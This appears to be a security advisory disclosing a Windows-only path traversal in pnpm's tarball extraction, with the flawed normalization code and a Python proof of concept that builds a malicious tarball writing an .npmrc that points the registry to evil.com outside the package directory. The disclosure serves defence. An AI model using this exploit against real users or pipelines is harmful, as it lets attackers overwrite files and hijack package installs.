pnpm has Windows-specific tarball Path Traversal

Summary

A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.

This vulnerability is Windows-only.

Details

1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)

if (fileName.includes('./')) {
  fileName = path.posix.join('/', fileName).slice(1)
}

A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.

2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)

• On Unix: Backslashes are literal filename characters (safe)
• On Windows: Backslashes are directory separators (exploitable)

PoC

1. Create a malicious tarball with entry package/foo\..\..\.npmrc
2. Host it or use as a tarball URL dependency
3. On Windows: pnpm install
4. Observe .npmrc written outside package directory

import tarfile, io

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
    pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
    pkg_info = tarfile.TarInfo(name='package/package.json')
    pkg_info.size = len(pkg_json)
    tar.addfile(pkg_info, io.BytesIO(pkg_json))

    malicious_content = b'registry=https://evil.com/\n'
    mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
    mal_info.size = len(malicious_content)
    tar.addfile(mal_info, io.BytesIO(malicious_content))

with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
    f.write(tar_buffer.getvalue())

Impact

• Windows pnpm users
• Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
• Can overwrite .npmrc, build configs, or other files

Verified on pnpm main @ commit 5a0ed1d45.